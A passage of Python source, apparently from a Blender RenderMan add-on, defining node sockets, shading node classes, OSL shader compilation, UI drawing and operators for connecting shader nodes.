layout, node): layout.prop(node, self.identifier) def draw(self, context, layout, node, text): if self.is_linked or self.is_output or self.hide_value or not hasattr(self, 'default_value'): layout.label(self.get_pretty_name(node)) elif node.bl_idname in group_nodes or node.bl_idname == "PxrOSLPatternNode": layout.prop(self, 'default_value', text=self.get_pretty_name(node), slider=True) else: layout.prop(node, self.name, text=self.get_pretty_name(node), slider=True) class RendermanSocketInterface: def draw_color(self, context): return (0.25, 1.0, 0.25, 1.0) def draw(self, context, layout): layout.label(self.name) def from_socket(self, node, socket): if hasattr(self, 'default_value'): self.default_value = socket.get_value(node) self.name = socket.name def init_socket(self, node, socket, data_path): sleep(.01) socket.name = self.name if hasattr(self, 'default_value'): socket.default_value = self.default_value # socket types (need this just for the ui_open) class RendermanNodeSocketFloat(bpy.types.NodeSocketFloat, RendermanSocket): '''RenderMan float input/output''' bl_idname = 'RendermanNodeSocketFloat' bl_label = 'RenderMan Float Socket' default_value: FloatProperty(update=update_func) renderman_type: StringProperty(default='float') def draw_color(self, context, node): return (0.5, 0.5, 0.5, 1.0) class RendermanNodeSocketInterfaceFloat(bpy.types.NodeSocketInterfaceFloat, RendermanSocketInterface): '''RenderMan float input/output''' bl_idname = 'RendermanNodeSocketInterfaceFloat' bl_label = 'RenderMan Float Socket' bl_socket_idname = 'RendermanNodeSocketFloat' default_value: FloatProperty() def draw_color(self, context): return (0.5, 0.5, 0.5, 1.0) class RendermanNodeSocketInt(bpy.types.NodeSocketInt, RendermanSocket): '''RenderMan int input/output''' bl_idname = 'RendermanNodeSocketInt' bl_label = 'RenderMan Int Socket' default_value: IntProperty(update=update_func) renderman_type: StringProperty(default='int') def draw_color(self, context, node): return (1.0, 1.0, 1.0, 1.0) class RendermanNodeSocketInterfaceInt(bpy.types.NodeSocketInterfaceInt, RendermanSocketInterface): '''RenderMan float input/output''' bl_idname = 'RendermanNodeSocketInterfaceInt' bl_label = 'RenderMan Int Socket' bl_socket_idname = 'RendermanNodeSocketInt' default_value: IntProperty() def draw_color(self, context): return (1.0, 1.0, 1.0, 1.0) class RendermanNodeSocketString(bpy.types.NodeSocketString, RendermanSocket): '''RenderMan string input/output''' bl_idname = 'RendermanNodeSocketString' bl_label = 'RenderMan String Socket' default_value: StringProperty(update=update_func) is_texture: BoolProperty(default=False) renderman_type: StringProperty(default='string') class RendermanNodeSocketStruct(bpy.types.NodeSocketString, RendermanSocket): '''RenderMan struct input/output''' bl_idname = 'RendermanNodeSocketStruct' bl_label = 'RenderMan Struct Socket' hide_value = True renderman_type = 'string' default_value = '' class RendermanNodeSocketInterfaceStruct(bpy.types.NodeSocketInterfaceString, RendermanSocketInterface): '''RenderMan struct input/output''' bl_idname = 'RendermanNodeSocketInterfaceStruct' bl_label = 'RenderMan Struct Socket' bl_socket_idname = 'RendermanNodeSocketStruct' hide_value = True class RendermanNodeSocketColor(bpy.types.NodeSocketColor, RendermanSocket): '''RenderMan color input/output''' bl_idname = 'RendermanNodeSocketColor' bl_label = 'RenderMan Color Socket' default_value: FloatVectorProperty(size=3, subtype="COLOR", update=update_func) renderman_type: StringProperty(default='color') def draw_color(self, context, node): return (1.0, 1.0, .5, 1.0) class RendermanNodeSocketInterfaceColor(bpy.types.NodeSocketInterfaceColor, RendermanSocketInterface): '''RenderMan color input/output''' bl_idname = 'RendermanNodeSocketInterfaceColor' bl_label = 'RenderMan Color Socket' bl_socket_idname = 'RendermanNodeSocketColor' default_value: FloatVectorProperty(size=3, subtype="COLOR") def draw_color(self, context): return (1.0, 1.0, .5, 1.0) class RendermanNodeSocketVector(RendermanSocket, bpy.types.NodeSocketVector): '''RenderMan vector input/output''' bl_idname = 'RendermanNodeSocketVector' bl_label = 'RenderMan Vector Socket' hide_value = True default_value: FloatVectorProperty(size=3, subtype="EULER", update=update_func) renderman_type: StringProperty(default='vector') def draw_color(self, context, node): return (.25, .25, .75, 1.0) class RendermanNodeSocketInterfaceVector(bpy.types.NodeSocketInterfaceVector, RendermanSocketInterface): '''RenderMan color input/output''' bl_idname = 'RendermanNodeSocketInterfaceVector' bl_label = 'RenderMan Vector Socket' bl_socket_idname = 'RendermanNodeSocketVector' hide_value = True default_value: FloatVectorProperty(size=3, subtype="EULER") def draw_color(self, context): return (.25, .25, .75, 1.0) # Custom socket type for connecting shaders class RendermanShaderSocket(bpy.types.NodeSocketShader, RendermanSocket): '''RenderMan shader input/output''' bl_idname = 'RendermanShaderSocket' bl_label = 'RenderMan Shader Socket' hide_value = True # Custom socket type for connecting shaders class RendermanShaderSocketInterface(bpy.types.NodeSocketInterfaceShader, RendermanSocketInterface): '''RenderMan shader input/output''' bl_idname = 'RendermanShaderInterfaceSocket' bl_label = 'RenderMan Shader Socket' bl_socket_idname = 'RendermanShaderSocket' hide_value = True # Base class for all custom nodes in this tree type. # Defines a poll function to enable instantiation. class RendermanShadingNode(bpy.types.ShaderNode): bl_label = 'Output' def update_mat(self, mat): if self.renderman_node_type == 'bxdf' and self.outputs['Bxdf'].is_linked: mat.specular_color = [1, 1, 1] mat.diffuse_color = [1, 1, 1] mat.use_transparency = False mat.specular_intensity = 0 mat.diffuse_intensity = 1 if hasattr(self, "baseColor"): mat.diffuse_color = self.baseColor elif hasattr(self, "emitColor"): mat.diffuse_color = self.emitColor elif hasattr(self, "diffuseColor"): mat.diffuse_color = self.diffuseColor elif hasattr(self, "midColor"): mat.diffuse_color = self.midColor elif hasattr(self, "transmissionColor"): mat.diffuse_color = self.transmissionColor elif hasattr(self, "frontColor"): mat.diffuse_color = self.frontColor # specular intensity if hasattr(self, "specular"): mat.specular_intensity = self.specular elif hasattr(self, "SpecularGainR"): mat.specular_intensity = self.specularGainR elif hasattr(self, "reflectionGain"): mat.specular_intensity = self.reflectionGain # specular color if hasattr(self, "specularColor"): mat.specular_color = self.specularColor elif hasattr(self, "reflectionColor"): mat.specular_color = self.reflectionColor if self.bl_idname in ["PxrGlassBxdfNode", "PxrLMGlassBxdfNode"]: mat.use_transparency = True mat.alpha = .5 if self.bl_idname == "PxrLMMetalBxdfNode": mat.diffuse_color = [0, 0, 0] mat.specular_intensity = 1 mat.specular_color = self.specularColor mat.mirror_color = [1, 1, 1] elif self.bl_idname == "PxrLMPlasticBxdfNode": mat.specular_intensity = 1 # all the properties of a shader will go here, also inputs/outputs # on connectable props will have the same name # node_props = None def draw_buttons(self, context, layout): self.draw_nonconnectable_props(context, layout, self.prop_names) if self.bl_idname == "PxrOSLPatternNode": layout.operator("node.refresh_osl_shader") def draw_buttons_ext(self, context, layout): self.draw_nonconnectable_props(context, layout, self.prop_names) def draw_nonconnectable_props(self, context, layout, prop_names): if self.bl_idname in ['PxrLayerPatternNode', 'PxrSurfaceBxdfNode']: col = layout.column(align=True) for prop_name in prop_names: if prop_name not in self.inputs: for name in getattr(self, prop_name): if name.startswith('enable'): col.prop(self, name, text=prop_name.split('.')[-1]) break return if self.bl_idname == "PxrOSLPatternNode" or self.bl_idname == "PxrSeExprPatternNode": prop = getattr(self, "codetypeswitch") layout.prop(self, "codetypeswitch") if getattr(self, "codetypeswitch") == 'INT': prop = getattr(self, "internalSearch") layout.prop_search( self, "internalSearch", bpy.data, "texts", text="") elif getattr(self, "codetypeswitch") == 'EXT': prop = getattr(self, "shadercode") layout.prop(self, "shadercode") elif getattr(self, "codetypeswitch") == 'NODE': layout.prop(self, "expression") else: # temp until we can create ramps natively if self.__annotations__['plugin_name'] == 'PxrRamp': nt = bpy.data.node_groups[self.node_group] if nt: layout.template_color_ramp( nt.nodes["ColorRamp"], 'color_ramp') for prop_name in prop_names: prop_meta = self.prop_meta[prop_name] if 'widget' in prop_meta and prop_meta['widget'] == 'null' or \ 'hidden' in prop_meta and prop_meta['hidden']: continue if prop_name not in self.inputs: if prop_meta['renderman_type'] == 'page': ui_prop = prop_name + "_uio" ui_open = getattr(self, ui_prop) icon = 'DISCLOSURE_TRI_DOWN' if ui_open \ else 'DISCLOSURE_TRI_RIGHT' split = layout.split(NODE_LAYOUT_SPLIT) row = split.row() row.prop(self, ui_prop, icon=icon, text='', icon_only=True, emboss=False, slider=True) row.label(prop_name.split('.')[-1] + ':') if ui_open: prop = getattr(self, prop_name) self.draw_nonconnectable_props( context, layout, prop) elif "Subset" in prop_name and prop_meta['type'] == 'string': layout.prop_search(self, prop_name, bpy.data.scenes[0].renderman, "object_groups") else: layout.prop(self, prop_name, slider=True) def copy(self, node): pass # self.inputs.clear() # self.outputs.clear() def RefreshNodes(self, context, nodeOR=None, materialOverride=None): # Compile shader. If the call was from socket draw get the node # information anther way. if hasattr(context, "node"): node = context.node else: node = nodeOR prefs = bpy.context.preferences.addons[__package__].preferences out_path = user_path(prefs.env_vars.out) compile_path = os.path.join(user_path(prefs.env_vars.out), "shaders") if os.path.exists(out_path): pass else: os.mkdir(out_path) if os.path.exists(os.path.join(out_path, "shaders")): pass else: os.mkdir(os.path.join(out_path, "shaders")) if getattr(node, "codetypeswitch") == "EXT": osl_path = user_path(getattr(node, 'shadercode')) FileName = os.path.basename(osl_path) FileNameNoEXT = os.path.splitext(FileName)[0] FileNameOSO = FileNameNoEXT FileNameOSO += ".oso" export_path = os.path.join( user_path(prefs.env_vars.out), "shaders", FileNameOSO) if os.path.splitext(FileName)[1] == ".oso": out_file = os.path.join(user_path(prefs.env_vars.out), "shaders", FileNameOSO) if not os.path.exists(out_file) or not os.path.samefile(osl_path, out_file): shutil.copy(osl_path, out_file) # Assume that the user knows what they were doing when they # compiled the osl file. ok = True else: ok = node.compile_osl(osl_path, compile_path) elif getattr(node, "codetypeswitch") == "INT" and node.internalSearch: script = bpy.data.texts[node.internalSearch] osl_path = bpy.path.abspath( script.filepath, library=script.library) if script.is_in_memory or script.is_dirty or \ script.is_modified or not os.path.exists(osl_path): osl_file = tempfile.NamedTemporaryFile( mode='w', suffix=".osl", delete=False) osl_file.write(script.as_string()) osl_file.close() FileNameNoEXT = os.path.splitext(script.name)[0] FileNameOSO = FileNameNoEXT FileNameOSO += ".oso" node.__annotations__['plugin_name'] = FileNameNoEXT ok = node.compile_osl(osl_file.name, compile_path, script.name) export_path = os.path.join( user_path(prefs.env_vars.out), "shaders", FileNameOSO) os.remove(osl_file.name) else: ok = node.compile_osl(osl_path, compile_path) FileName = os.path.basename(osl_path) FileNameNoEXT = os.path.splitext(FileName)[0] node.__annotations__['plugin_name'] = FileNameNoEXT FileNameOSO = FileNameNoEXT FileNameOSO += ".oso" export_path = os.path.join( user_path(prefs.env_vars.out), "shaders", FileNameOSO) else: ok = False debug("osl", "Shader cannot be compiled. Shader name not specified") # If Shader compiled successfully then update node. if ok: debug('osl', "Shader Compiled Successfully!") # Reset the inputs and outputs node.outputs.clear() node.inputs.clear() # Read in new properties prop_names, shader_meta = readOSO(export_path) debug('osl', prop_names, "MetaInfo: ", shader_meta) # Set node name to shader name node.label = shader_meta["shader"] node.__annotations__['plugin_name'] = shader_meta["shader"] # Generate new inputs and outputs setattr(node, 'shader_meta', shader_meta) node.setOslProps(prop_names, shader_meta) else: debug("osl", "NODE COMPILATION FAILED") def compile_osl(self, inFile, outPath, nameOverride=""): if not nameOverride: FileName = os.path.basename(inFile) FileNameNoEXT = os.path.splitext(FileName)[0] out_file = os.path.join(outPath, FileNameNoEXT) out_file += ".oso" else: FileNameNoEXT = os.path.splitext(nameOverride)[0] out_file = os.path.join(outPath, FileNameNoEXT) out_file += ".oso" ok = _cycles.osl_compile(inFile, out_file) return ok def update(self): debug("info", "UPDATING: ", self.name) @classmethod def poll(cls, ntree): if hasattr(ntree, 'bl_idname'): return ntree.bl_idname == 'ShaderNodeTree' else: return True def setOslProps(self, prop_names, shader_meta): for prop_name in prop_names: prop_type = shader_meta[prop_name]["type"] if shader_meta[prop_name]["IO"] == "out": self.outputs.new( socket_map[prop_type], prop_name) else: prop_default = shader_meta[prop_name]["default"] if prop_type == "float": prop_default = float(prop_default) elif prop_type == "int": prop_default = int(float(prop_default)) if prop_type == "matrix": self.inputs.new(socket_map["struct"], prop_name, prop_name) elif prop_type == "void": pass elif 'lockgeom' in shader_meta[prop_name] and shader_meta[prop_name]['lockgeom'] == 0: pass else: input = self.inputs.new(socket_map[shader_meta[prop_name]["type"]], prop_name, prop_name) input.default_value = prop_default if prop_type == 'struct' or prop_type == 'point': input.hide_value = True input.renderman_type = prop_type debug('osl', "Shader: ", shader_meta["shader"], "Properties: ", prop_names, "Shader meta data: ", shader_meta) compileLocation = self.name + "Compile" class RendermanOutputNode(RendermanShadingNode): bl_label = 'RenderMan Material' renderman_node_type = 'output' bl_icon = 'MATERIAL' node_tree = None def init(self, context): input = self.inputs.new('RendermanShaderSocket', 'Bxdf') input.type = 'SHADER' input.hide_value = True input = self.inputs.new('RendermanShaderSocket', 'Light') input.hide_value = True input = self.inputs.new('RendermanShaderSocket', 'Displacement') input.hide_value = True def draw_buttons(self, context, layout): return def draw_buttons_ext(self, context, layout): return # when a connection is made or removed see if we're in IPR mode and issue # updates def update(self): from . import engine if engine.is_ipr_running(): engine.ipr.last_edit_mat = None engine.ipr.issue_shader_edits(nt=self.id_data) # Final output node, used as a dummy to find top level shaders class RendermanBxdfNode(RendermanShadingNode): bl_label = 'Bxdf' renderman_node_type = 'bxdf' shading_compatibility = {'NEW_SHADING'} class RendermanDisplacementNode(RendermanShadingNode): bl_label = 'Displacement' renderman_node_type = 'displacement' # Final output node, used as a dummy to find top level shaders class RendermanPatternNode(RendermanShadingNode): bl_label = 'Texture' renderman_node_type = 'pattern' bl_type = 'TEX_IMAGE' bl_static_type = 'TEX_IMAGE' class RendermanLightNode(RendermanShadingNode): bl_label = 'Output' renderman_node_type = 'light' # Generate dynamic types def generate_node_type(prefs, name, args): ''' Dynamically generate a node type from pattern ''' nodeType = args.find("shaderType/tag").attrib['value'] typename = '%s%sNode' % (name, nodeType.capitalize()) nodeDict = {'bxdf': RendermanBxdfNode, 'pattern': RendermanPatternNode, 'displacement': RendermanDisplacementNode, 'light': RendermanLightNode} if nodeType not in nodeDict.keys(): return ntype = type(typename, (nodeDict[nodeType],), {'__annotations__': {}}) ntype.bl_label = name ntype.typename = typename inputs = [p for p in args.findall('./param')] + \ [p for p in args.findall('./page')] outputs = [p for p in args.findall('.//output')] def init(self, context): if self.renderman_node_type == 'bxdf': self.outputs.new('RendermanShaderSocket', "Bxdf").type = 'SHADER' #socket_template = self.socket_templates.new(identifier='Bxdf', name='Bxdf', type='SHADER') node_add_inputs(self, name, self.prop_names) node_add_outputs(self) # if this is PxrLayerSurface set the diffusegain to 0. The default # of 1 is unintuitive if self.__annotations__['plugin_name'] == 'PxrLayerSurface': self.diffuseGain = 0 elif self.renderman_node_type == 'light': # only make a few sockets connectable node_add_inputs(self, name, self.prop_names) self.outputs.new('RendermanShaderSocket', "Light") elif self.renderman_node_type == 'displacement': # only make the color connectable self.outputs.new('RendermanShaderSocket', "Displacement") node_add_inputs(self, name, self.prop_names) # else pattern elif name == "PxrOSL": self.outputs.clear() else: node_add_inputs(self, name, self.prop_names) node_add_outputs(self) if name == "PxrRamp": node_group = bpy.data.node_groups.new( 'PxrRamp_nodegroup', 'ShaderNodeTree') node_group.nodes.new('ShaderNodeValToRGB') node_group.use_fake_user = True self.node_group = node_group.name update_conditional_visops(self) def free(self): if name == "PxrRamp": bpy.data.node_groups.remove(bpy.data.node_groups[self.node_group]) ntype.init = init ntype.free = free if name == 'PxrRamp': ntype.node_group = StringProperty('color_ramp', default='') ntype.__annotations__["plugin_name"] = StringProperty(name='Plugin Name', default=name, options={'HIDDEN'}) # lights cant connect to a node tree in 20.0 class_generate_properties(ntype, name, inputs + outputs) if nodeType == 'light': ntype.light_shading_rate = FloatProperty( name="Light Shading Rate", description="Shading Rate for this light. \ Leave this high unless detail is missing", default=100.0) ntype.light_primary_visibility = BoolProperty( name="Light Primary Visibility", description="Camera visibility for this light", default=True) bpy.utils.register_class(ntype) return typename, ntype # UI def find_node_input(node, name): for input in node.inputs: if input.name == name: return input return None def find_node(material, nodetype): if material and material.node_tree: ntree = material.node_tree active_output_node = None for node in ntree.nodes: if getattr(node, "bl_idname", None) == nodetype: if getattr(node, "is_active_output", True): return node if not active_output_node: active_output_node = node return active_output_node return None def find_node_input(node, name): for input in node.inputs: if input.name == name: return input return None def panel_node_draw(layout, context, id_data, output_type, input_name): ntree = id_data.node_tree node = find_node(id_data, output_type) if not node: layout.label(text="No output node") else: input = find_node_input(node, input_name) #layout.template_node_view(ntree, node, input) draw_nodes_properties_ui(layout, context, ntree) return True def is_renderman_nodetree(material): return find_node(material, 'RendermanOutputNode') def draw_nodes_properties_ui(layout, context, nt, input_name='Bxdf', output_node_type="output"): output_node = next((n for n in nt.nodes if hasattr(n, 'renderman_node_type') and n.renderman_node_type == output_node_type), None) if output_node is None: return socket = output_node.inputs[input_name] node = socket_node_input(nt, socket) layout.context_pointer_set("nodetree", nt) layout.context_pointer_set("node", output_node) layout.context_pointer_set("socket", socket) split = layout.split(0.35) split.label(socket.name + ':') if socket.is_linked: # for lights draw the shading rate ui. split.operator_menu_enum("node.add_%s" % input_name.lower(), "node_type", text=node.bl_label) else: split.operator_menu_enum("node.add_%s" % input_name.lower(), "node_type", text='None') if node is not None: draw_node_properties_recursive(layout, context, nt, node) def socket_node_input(nt, socket): return next((l.from_node for l in nt.links if l.to_socket == socket), None) def socket_socket_input(nt, socket): return next((l.from_socket for l in nt.links if l.to_socket == socket and socket.is_linked), None) def linked_sockets(sockets): if sockets is None: return [] return [i for i in sockets if i.is_linked] def draw_node_properties_recursive(layout, context, nt, node, level=0): def indented_label(layout, label, level): for i in range(level): layout.label('', icon='BLANK1') if label: layout.label(label) layout.context_pointer_set("node", node) layout.context_pointer_set("nodetree", nt) def draw_props(prop_names, layout, level): for prop_name in prop_names: # skip showing the shape for PxrStdAreaLight if prop_name in ["lightGroup", "rman__Shape", "coneAngle", "penumbraAngle"]: continue if prop_name == "codetypeswitch": row = layout.row() if node.codetypeswitch == 'INT': row.prop_search(node, "internalSearch", bpy.data, "texts", text="") elif node.codetypeswitch == 'EXT': row.prop(node, "shadercode") elif prop_name == "internalSearch" or prop_name == "shadercode" or prop_name == "expression": pass else: prop_meta = node.prop_meta[prop_name] prop = getattr(node, prop_name) if 'widget' in prop_meta and prop_meta['widget'] == 'null' or \ 'hidden' in prop_meta and prop_meta['hidden']: continue # else check if the socket with this name is connected socket = node.inputs[prop_name] if prop_name in node.inputs \ else None layout.context_pointer_set("socket", socket) if socket and socket.is_linked: input_node = socket_node_input(nt, socket) icon = 'DISCLOSURE_TRI_DOWN' if socket.ui_open \ else 'DISCLOSURE_TRI_RIGHT' split = layout.split(NODE_LAYOUT_SPLIT) row = split.row() indented_label(row, None, level) row.prop(socket, "ui_open", icon=icon, text='', icon_only=True, emboss=False) label = prop_meta.get('label', prop_name) row.label(label + ':') if ('type' in prop_meta and prop_meta['type'] == 'vstruct') or prop_name == 'inputMaterial': split.operator_menu_enum("node.add_layer", "node_type", text=input_node.bl_label, icon="LAYER_USED") elif prop_meta['renderman_type'] == 'struct': split.operator_menu_enum("node.add_manifold", "node_type", text=input_node.bl_label, icon="LAYER_USED") elif prop_meta['renderman_type'] == 'normal': split.operator_menu_enum("node.add_bump", "node_type", text=input_node.bl_label, icon="LAYER_USED") else: split.operator_menu_enum("node.add_pattern", "node_type", text=input_node.bl_label, icon="LAYER_USED") if socket.ui_open: draw_node_properties_recursive(layout, context, nt, input_node, level=level + 1) else: row = layout.row(align=True) if prop_meta['renderman_type'] == 'page': ui_prop = prop_name + "_uio" ui_open = getattr(node, ui_prop) icon = 'DISCLOSURE_TRI_DOWN' if ui_open \ else 'DISCLOSURE_TRI_RIGHT' split = layout.split(NODE_LAYOUT_SPLIT) row = split.row() for i in range(level): row.label('', icon='BLANK1') row.prop(node, ui_prop, icon=icon, text='', icon_only=True, emboss=False) sub_prop_names = list(prop) if node.bl_idname in {"PxrSurfaceBxdfNode", "PxrLayerPatternNode"}: for pn in sub_prop_names: if pn.startswith('enable'): row.prop(node, pn, text='') sub_prop_names.remove(pn) break row.label(prop_name.split('.')[-1] + ':') if ui_open: draw_props(sub_prop_names, layout, level + 1) else: indented_label(row, None, level) # indented_label(row, socket.name+':') # don't draw prop for struct type if "Subset" in prop_name and prop_meta['type'] == 'string': row.prop_search(node, prop_name, bpy.data.scenes[0].renderman, "object_groups") else: if prop_meta['renderman_type'] != 'struct': row.prop(node, prop_name, slider=True) else: row.label(prop_meta['label']) if prop_name in node.inputs: if ('type' in prop_meta and prop_meta['type'] == 'vstruct') or prop_name == 'inputMaterial': row.operator_menu_enum("node.add_layer", "node_type", text='', icon="LAYER_USED") elif prop_meta['renderman_type'] == 'struct': row.operator_menu_enum("node.add_manifold", "node_type", text='', icon="LAYER_USED") elif prop_meta['renderman_type'] == 'normal': row.operator_menu_enum("node.add_bump", "node_type", text='', icon="LAYER_USED") else: row.operator_menu_enum("node.add_pattern", "node_type", text='', icon="LAYER_USED") # if this is a cycles node do something different if not hasattr(node, '__annotations__') or not "plugin_name" in node.__annotations__ or node.bl_idname == 'PxrOSLPatternNode': node.draw_buttons(context, layout) for input in node.inputs: if input.is_linked: input_node = socket_node_input(nt, input) icon = 'DISCLOSURE_TRI_DOWN' if input.show_expanded \ else 'DISCLOSURE_TRI_RIGHT' split = layout.split(NODE_LAYOUT_SPLIT) row = split.row() indented_label(row, None, level) row.prop(input, "show_expanded", icon=icon, text='', icon_only=True, emboss=False) row.label(input.name + ':') split.operator_menu_enum("node.add_pattern", "node_type", text=input_node.bl_label, icon="LAYER_USED") if input.show_expanded: draw_node_properties_recursive(layout, context, nt, input_node, level=level + 1) else: row = layout.row(align=True) indented_label(row, None, level) # indented_label(row, socket.name+':') # don't draw prop for struct type if input.hide_value: row.label(input.name) else: row.prop(input, 'default_value', slider=True, text=input.name) row.operator_menu_enum("node.add_pattern", "node_type", text='', icon="LAYER_USED") else: if node.plugin_name == 'PxrRamp': dummy_nt = bpy.data.node_groups[node.node_group] if dummy_nt: layout.template_color_ramp( dummy_nt.nodes['ColorRamp'], 'color_ramp') draw_props(node.prop_names, layout, level) layout.separator() # Operators # connect the pattern nodes in some sensible manner (color output to color input etc) # TODO more robust def link_node(nt, from_node, in_socket): out_socket = None # first look for resultF/resultRGB if type(in_socket).__name__ in ['RendermanNodeSocketColor', 'RendermanNodeSocketVector']: out_socket = from_node.outputs.get('resultRGB', next((s for s in from_node.outputs if type(s).__name__ == 'RendermanNodeSocketColor'), None)) elif type(in_socket).__name__ == 'RendermanNodeSocketStruct': out_socket = from_node.outputs.get('pxrMaterialOut', None) if not out_socket: out_socket = from_node.outputs.get('result', None) else: out_socket = from_node.outputs.get('resultF', next((s for s in from_node.outputs if type(s).__name__ == 'RendermanNodeSocketFloat'), None)) if out_socket: nt.links.new(out_socket, in_socket) # bass class for operator to add a node class Add_Node: ''' For generating cycles-style ui menus to add new nodes, connected to a given input socket. ''' def get_type_items(self, context): items = [] # if this is a pattern input do columns! if self.input_type.lower() == 'pattern': i = 0 for pattern_cat, patterns in pattern_categories.items(): if pattern_cat.lower() in ['layer', 'script', 'manifold', 'bump', 'displace']: continue items.append(('', pattern_cat, pattern_cat, '', 0)) for nodename in sorted(patterns): nodetype = patterns[nodename] items.append((nodetype.typename, nodetype.bl_label, nodetype.bl_label, '', i)) i += 1 items.append(('', '', '', '', 0)) items.append(('REMOVE', 'Remove', 'Remove the node connected to this socket', '', i + 1)) items.append(('DISCONNECT', 'Disconnect', 'Disconnect the node connected to this socket', '', i + 2)) elif self.input_type.lower() in ['layer', 'manifold', 'bump']: patterns = pattern_categories[self.input_type] for nodename in sorted(patterns): nodetype = patterns[nodename] items.append((nodetype.typename, nodetype.bl_label, nodetype.bl_label)) items.append(('REMOVE', 'Remove', 'Remove the node connected to this socket')) items.append(('DISCONNECT', 'Disconnect', 'Disconnect the node connected to this socket')) else: for nodetype in nodetypes.values(): if self.input_type.lower() == 'light' and nodetype.renderman_node_type == 'light': if nodetype.__name__ == 'PxrMeshLightLightNode': items.append((nodetype.typename, nodetype.bl_label, nodetype.bl_label)) elif nodetype.renderman_node_type == self.input_type.lower(): items.append((nodetype.typename, nodetype.bl_label, nodetype.bl_label)) items = sorted(items, key=itemgetter(1)) items.append(('REMOVE', 'Remove', 'Remove the node connected to this socket')) items.append(('DISCONNECT', 'Disconnect', 'Disconnect the node connected to this socket')) return items node_type: EnumProperty(name="Node Type", description='Node type to add to this socket', items=get_type_items) def execute(self, context): new_type = self.properties.node_type if new_type == 'DEFAULT': return {'CANCELLED'} nt = context.nodetree node = context.node socket = context.socket input_node = socket_node_input(nt, socket) if new_type == 'REMOVE': nt.nodes.remove(input_node) return {'FINISHED'} if new_type == 'DISCONNECT': link = next((l for l in nt.links if l.to_socket == socket), None) nt.links.remove(link) return {'FINISHED'} # add a new node to existing socket if input_node is None: newnode = nt.nodes.new(new_type) newnode.location = node.location newnode.location[0] -= 300 newnode.selected = False if self.input_type in ['Pattern', 'Layer', 'Manifold', 'Bump']: link_node(nt, newnode, socket) else: nt.links.new(newnode.outputs[self.input_type], socket) # replace input node with a new one else: newnode = nt.nodes.new(new_type) input = socket old_node = input.links[0].from_node if self.input_type == 'Pattern': link_node(nt, newnode, socket) else: nt.links.new(newnode.outputs[self.input_type], socket) newnode.location = old_node.location active_material = context.active_object.active_material newnode.update_mat(active_material) nt.nodes.remove(old_node) return {'FINISHED'} class NODE_OT_add_bxdf(bpy.types.Operator, Add_Node): ''' For generating cycles-style ui menus to add new bxdfs, connected to a given input socket. ''' bl_idname = 'node.add_bxdf' bl_label = 'Add Bxdf Node' bl_description = 'Connect a Bxdf to this socket' input_type: StringProperty(default='Bxdf') class NODE_OT_add_displacement(bpy.types.Operator, Add_Node): ''' For generating cycles-style ui menus to add new nodes, connected to a given input socket. ''' bl_idname = 'node.add_displacement' bl_label = 'Add Displacement Node' bl_description = 'Connect a Displacement shader to this socket' input_type: StringProperty(default='Displacement') class NODE_OT_add_light(bpy.types.Operator, Add_Node): ''' For generating cycles-style ui menus to add new nodes, connected to a given input socket. ''' bl_idname = 'node.add_light' bl_label = 'Add Light Node' bl_description = 'Connect a Light shader to this socket' input_type: StringProperty(default='Light') class NODE_OT_add_pattern(bpy.types.Operator, Add_Node): ''' For generating cycles-style ui menus to add new nodes, connected to a given input socket. ''' bl_idname = 'node.add_pattern' bl_label = 'Add Pattern Node' bl_description = 'Connect a Pattern to this socket' input_type: StringProperty(default='Pattern') class NODE_OT_add_layer(bpy.types.Operator, Add_Node): ''' For generating cycles-style ui menus to add new nodes, connected to a given input socket. ''' bl_idname = 'node.add_layer' bl_label = 'Add Layer Node' bl_description = 'Connect a PxrLayer' input_type: StringProperty(default='Layer') class NODE_OT_add_manifold(bpy.types.Operator, Add_Node): ''' For generating cycles-style ui menus to add new nodes, connected to a given input socket. ''' bl_idname = 'node.add_manifold' bl_label = 'Add Manifold Node' bl_description = 'Connect a Manifold' input_type: StringProperty(default='Manifold') class NODE_OT_add_bump(bpy.types.Operator, Add_Node): ''' For generating cycles-style ui menus to add new nodes, connected to a given input socket. ''' bl_idname = 'node.add_bump' bl_label = 'Add Bump Node' bl_description = 'Connect a bump node' input_type: StringProperty(default='Bump') # return if this param has a vstuct connection or linked independently def is_vstruct_or_linked(node, param): meta = node.prop_meta[param] if 'vstructmember' not in meta.keys(): return node.inputs[param].is_linked elif param in node.inputs and node.inputs[param].is_linked: return True else: vstruct_name, vstruct_member = meta['vstructmember'].split('.') if node.inputs[vstruct_name].is_linked: from_socket = node.inputs[vstruct_name].links[0].from_socket vstruct_from_param = "%s_%s" % ( from_socket.identifier, vstruct_member) return vstruct_conditional(from_socket.node, vstruct_from_param) else: return False # tells if this param has a vstuct connection that is linked and # conditional met def is_vstruct_and_linked(node, param): meta = node.prop_meta[param] if 'vstructmember' not in meta.keys(): return False else: vstruct_name, vstruct_member = meta['vstructmember'].split('.') if node.inputs[vstruct_name].is_linked: from_socket = node.inputs[vstruct_name].links[0].from_socket # if coming from a shader group hookup across that if from_socket.node.bl_idname == 'ShaderNodeGroup': ng = from_socket.node.node_tree group_output = next((n for n in ng.nodes if n.bl_idname == 'NodeGroupOutput'), None) if group_output is None: return False in_sock = group_output.inputs[from_socket.name] if len(in_sock.links): from_socket = in_sock.links[0].from_socket vstruct_from_param = "%s_%s" % ( from_socket.identifier, vstruct_member) return vstruct_conditional(from_socket.node, vstruct_from_param) else: return False # gets the value for a node walking up the vstruct chain def get_val_vstruct(node, param): if param in node.inputs and node.inputs[param].is_linked: from_socket = node.inputs[param].links[0].from_socket return get_val_vstruct(from_socket.node, from_socket.identifier) elif is_vstruct_and_linked(node, param): return True else: return getattr(node, param) # parse a vstruct conditional string and return true or false if should link def vstruct_conditional(node, param): if not hasattr(node, 'shader_meta') and not hasattr(node, 'output_meta'): return False meta = getattr( node, 'shader_meta') if node.bl_idname == "PxrOSLPatternNode" else node.output_meta if param not in meta: return False meta = meta[param] if 'vstructConditionalExpr' not in meta.keys(): return True expr = meta['vstructConditionalExpr'] expr = expr.replace('connect if ', '') set_zero = False if ' else set 0' in expr: expr = expr.replace(' else set 0', '') set_zero = True tokens = expr.split() new_tokens = [] i = 0 num_tokens = len(tokens) while i < num_tokens: token = tokens[i] prepend, append = '', '' while token[0] == '(': token = token[1:] prepend += '(' while token[-1] == ')': token = token[:-1] append += ')' if token == 'set': i += 1 continue # is connected change this to node.inputs.is_linked if i < num_tokens - 2 and tokens[i + 1] == 'is'\ and 'connected' in tokens[i + 2]: token = "is_vstruct_or_linked(node, '%s')" % token last_token = tokens[i + 2] while last_token[-1] == ')': last_token = last_token[:-1] append += ')' i += 3 else: i += 1 if hasattr(node, token): token = "get_val_vstruct(node, '%s')" % token new_tokens.append(prepend + token + append) if 'if' in 